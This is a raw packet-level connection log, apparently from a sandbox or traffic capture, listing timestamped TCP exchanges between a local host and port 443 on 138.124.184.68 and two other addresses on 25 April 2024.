Apr 25, 2024 20:37:00.597732067 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.597737074 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.597764969 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.597791910 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.598248005 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598263025 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598331928 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.598336935 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598373890 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.598862886 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598880053 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598948002 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.598953009 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.598968983 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.598997116 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.599344015 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.599415064 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.599455118 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.599458933 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.599498987 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.599548101 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.600039005 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600056887 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600094080 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.600096941 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600150108 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.600455999 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.600665092 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600681067 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600766897 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.600773096 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.600806952 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.601432085 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.601448059 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.601491928 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.601495981 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.601535082 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602091074 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602106094 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602186918 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602188110 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602193117 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602235079 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602739096 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602755070 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602792978 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602797985 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.602822065 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602837086 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.602965117 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.603568077 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.603583097 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.603662014 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.603667021 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.603697062 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604221106 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604237080 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604312897 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604319096 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604341984 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604377031 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604619980 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604655027 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604677916 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604682922 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.604717970 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.604799032 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.605227947 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.605262041 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.605281115 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.605285883 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.605328083 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.605331898 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.605401993 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.605453968 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.605977058 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.639874935 CEST	49758	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.639911890 CEST	443	49758	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.753690004 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.753726006 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:00.753786087 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.755067110 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:00.755081892 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.026891947 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.027501106 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.027518034 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.028007984 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.028856993 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.028940916 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.029599905 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.029629946 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.889770031 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.889816046 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.889838934 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.889877081 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.889897108 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.889925957 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.889966965 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.889974117 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.890088081 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.890113115 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.890145063 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.890153885 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:01.890175104 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:01.937408924 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.022877932 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.022910118 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023026943 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.023026943 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.023041964 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023291111 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023298025 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.023308992 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023327112 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023355007 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.023458958 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.023485899 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.023526907 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.033930063 CEST	49761	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.033947945 CEST	443	49761	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.258228064 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.258282900 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.262661934 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.263087034 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.263104916 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.453794003 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.453852892 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.454241037 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.454241037 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.454315901 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.533535957 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.533855915 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.533888102 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.534419060 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.534820080 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.534904003 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.535224915 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:02.535259008 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:02.839529991 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.839833975 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.839863062 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.840938091 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.840996981 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.841006994 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.841039896 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.842230082 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.842293024 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.842747927 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:02.842756033 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:02.890245914 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:03.049484015 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:03.049524069 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:03.049585104 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:03.049632072 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:03.049660921 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:03.049688101 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:03.049716949 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:03.102543116 CEST	49763	443	192.168.2.7	52.96.122.82
Apr 25, 2024 20:37:03.102603912 CEST	443	49763	52.96.122.82	192.168.2.7
Apr 25, 2024 20:37:03.349950075 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.349983931 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350004911 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350073099 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350089073 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350155115 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350353956 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350399017 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350404024 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350436926 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350485086 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350541115 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350545883 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350564957 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.350579977 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.350604057 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.352854967 CEST	49762	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.352866888 CEST	443	49762	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.379440069 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.379477978 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.379614115 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.380016088 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.380034924 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.381406069 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.381433010 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.381500006 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.381697893 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.381712914 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.382473946 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.382502079 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.382560968 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.382824898 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.382838964 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.650459051 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.651179075 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.651212931 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.651536942 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.652390957 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.652455091 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.652590990 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.652623892 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.655663967 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.655847073 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.655865908 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.656888962 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.656951904 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.657006025 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.657246113 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.657263994 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.657795906 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.657860041 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.658050060 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.658060074 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.658433914 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.659280062 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.659447908 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.659455061 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.659568071 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:03.701006889 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.701011896 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:03.701235056 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.034105062 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.034133911 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.034185886 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.034210920 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.034996986 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.035120010 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.047637939 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.048074961 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.048125029 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.048150063 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.048173904 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.048218012 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.048268080 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.048322916 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.067023039 CEST	49767	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.067039967 CEST	443	49767	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.069339037 CEST	49765	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.069371939 CEST	443	49765	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.102016926 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.102055073 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.102322102 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.102716923 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.102747917 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.102873087 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.103625059 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.103647947 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.103820086 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.104610920 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.104640007 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.104851961 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.105058908 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.105072975 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.105546951 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.105561018 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.105899096 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.105911970 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.106224060 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.106245041 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.378166914 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.382164001 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.383001089 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.384274960 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.420701027 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.425714016 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.425887108 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.425945044 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.563865900 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:37:04.563940048 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:37:04.567955017 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:37:04.861402035 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.861419916 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.861542940 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.861567974 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.862550020 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.862588882 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.862612963 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.862679958 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.862916946 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.862943888 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.863212109 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.863251925 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.863300085 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.863524914 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.864396095 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.864456892 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.865262032 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.865411997 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.865840912 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.865936995 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.890295982 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.890453100 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.890772104 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.890793085 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.891011953 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.891026020 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.891259909 CEST	49768	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.891329050 CEST	49769	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.891333103 CEST	443	49768	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.891352892 CEST	443	49769	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:04.944226980 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.944325924 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:04.998097897 CEST	49756	443	192.168.2.7	13.107.246.41
Apr 25, 2024 20:37:04.998120070 CEST	443	49756	13.107.246.41	192.168.2.7
Apr 25, 2024 20:37:05.139091969 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.140050888 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.143970013 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.211659908 CEST	49770	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.211678982 CEST	443	49770	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.219906092 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.219935894 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.219979048 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.219995022 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.220036030 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.221076012 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.221146107 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.221386909 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.223154068 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.223165989 CEST	443	49766	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.223174095 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.223211050 CEST	49766	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.283454895 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283485889 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283495903 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283514023 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283521891 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283529043 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283581972 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.283603907 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283616066 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283638000 CEST	443	49771	138.124.184.68	192.168.2.7
Apr 25, 2024 20:37:05.283690929 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.288150072 CEST	49771	443	192.168.2.7	138.124.184.68
Apr 25, 2024 20:37:05.288165092 CEST	443	49771	138.124.184.68	192.168.2.7
